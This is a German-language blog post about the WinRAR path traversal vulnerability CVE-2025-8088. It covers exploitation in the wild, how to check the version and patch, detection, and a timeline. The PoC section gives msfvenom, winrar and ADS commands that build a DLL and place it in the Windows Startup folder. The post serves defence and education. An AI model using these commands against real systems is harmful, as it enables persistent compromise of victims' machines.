CVE-2025-8088: WinRARs Zero-Day-Pfad-Traversal — Von Null auf Pwn 🗿

Einleitung – Der „alte Freund“ wurde gerade beim Schlendrian erwischt

WinRAR – der verstaubte Klassiker, den jeder installiert hat, aber niemand aktualisiert – wurde gerade mit einem kritischen Zero-Day geschlagen: CVE-2025-8088.

Schweregrad: CVSS v3.1 → 8.8 (Hoch)
In freier Wildbahn ausgenutzt von Bedrohungsakteuren wie RomCom (Storm-0978) und Paper Werewolf.
Gepatched in: WinRAR 7.13 (veröffentlicht am 30. Juli 2025).
Wenn Sie 7.12 oder älter verwenden – sind Sie eine leichte Beute.

CISA hat dies sogar in ihren Katalog bekannter ausgenutzter Schwachstellen aufgenommen, mit einer Frist für die Behebung bis zum 2. September 2025. Das ist keine Theorie – das ist echtes Feuer.

Cover

Was ist der Fehler? 🧩

Typ: Path Traversal (Verzeichnis-Traversal)
Besonderheit: Verwendet Alternative Datenströme (ADS), um Payloads zu verstecken
Auswirkung: Böswillige RAR-Dateien können Dinge außerhalb des beabsichtigten Ordners extrahieren – denken Sie an: ..\Startup\evil.dll
Ergebnis: Platzierung beliebiger Dateien → Persistenz → Backdoor → RAT-Stadt.

Betroffen: WinRAR für Windows (≤7.12), UnRAR.dll, Portable UnRAR Sicher: Linux-, Unix-, Android-Builds.

Das Wichtigste zuerst – Sind Sie verwundbar? 🕵️‍♂️

Bevor Sie in Panik geraten oder den Hacker spielen, überprüfen Sie Ihre Version.

So überprüfen Sie:

GUI: WinRAR öffnen → Help → About WinRAR
CMD/Powershell:

winget list WinRAR

(oder winrar.exe aus dem Installationsverzeichnis ausführen)

DLL-Prüfung: Rechtsklick auf UnRAR.dll → Eigenschaften → Details.

Als ich anfing, dies zu schreiben, war ich auf 7.10 – ja, reif für die Plünderung 🗿🐔🍗.

WinRAR_Version

**So patchen Sie (bevor jemand Sie patcht) 🛡️**

Laden Sie die neueste Version herunter von: rarlab.com/download.htm
Wählen Sie 64-Bit oder 32-Bit entsprechend Ihrem System.
Führen Sie das Installationsprogramm aus → es wird Ihre alte Version überschreiben.
Überprüfen Sie: Help → About WinRAR → sollte 7.13 oder höher anzeigen.
Ersetzen Sie UnRAR.dll in abhängigen Tools, falls vorhanden.

WinRAR aktualisiert sich nicht automatisch – stellen Sie eine Kalendererinnerung ein, werden Sie kein statisches Ziel.

WinRAR_Version_Updated

PS: Ignorieren Sie meinen Hintergrund-Flex hier — musste ein wenig angeben! 😏

Ausnutzung in freier Wildbahn ⚔️

RomCom (Storm-0978): Spear-Phishing mit Jobbewerbungs-Ködern, Ukraine-bezogene Ziele.
Paper Werewolf: Sprang kurz darauf ein und zielte auf russische Organisationen.
Gelieferte Payloads: SnipBot, RustyClaw, Mythic Agent-Varianten.
Haben bösartige DLLs/LNKs in %TEMP% & Startup-Ordner abgelegt.
CISA hat es am 12. August 2025 gelistet → Frist: 2. September 2025.

Proof of Concept (PoC) – Nur im kontrollierten Labor! 🧨

⚠ Haftungsausschluss: Dies ist nur für zu Bildungszwecken und autorisierte Sicherheitstests gedacht. Werden Sie nicht zum vollen Gremlin 🗿.

Schritt 1: Erstellen einer bösartigen DLL

msfvenom -p windows/x64/exec CMD=calc.exe -f dll > evil.dll

Schritt 2: Erstellen einer Traversal-RAR

winrar a -ep -ap"\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" payload.rar evil.dll

Schritt 3: (Optional) ADS-Tarnung

type evil.dll > legit.txt:evil.dll

Schritt 4: Extrahieren mit verwundbarem WinRAR

Boom – evil.dll landet im Startup-Ordner. Nächster Neustart? Hallo calc.exe.

Workflow

Schadensbegrenzung & Jagd 🐺

Patchen → WinRAR 7.13+
Suchen Sie nach verdächtigen .dll oder .lnk in:
- %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
- %TEMP%
Überwachen Sie ADS:
```
streams.exe -s C:\
```
IDS/IPS-Regel: RAR mit ..\-Sequenzen markieren.
Nessus/Qualys-Plugins sind bereits verfügbar.

Wichtige Zeitleiste

18. Juli 2025 – ESET entdeckt aktive Ausnutzung
30. Juli 2025 – Patch veröffentlicht (7.13)
12. August 2025 – Hinzugefügt zum CISA KEV-Katalog
2. September 2025 – Verbindliche Frist für die Behebung für Bundesbehörden

Abschließende Worte – Patchen oder untergehen 🗿

Dies war keine „vielleicht-eines-Tages“-Schwachstelle – sie wurde vor der Offenlegung bewaffnet. Wenn Sie immer noch auf 7.10 sitzen (wie ich beim Schreiben dieses Textes), patchen Sie jetzt. Wenn Sie auf der Red-Team-Seite sind, betrachten Sie dies als Fallstudie darüber, wie alte Werkzeuge zu neuen Angriffsvektoren werden.

CVE-2025-8088-WinRAR-Zero-Day-Path-Traversal

Beliebteste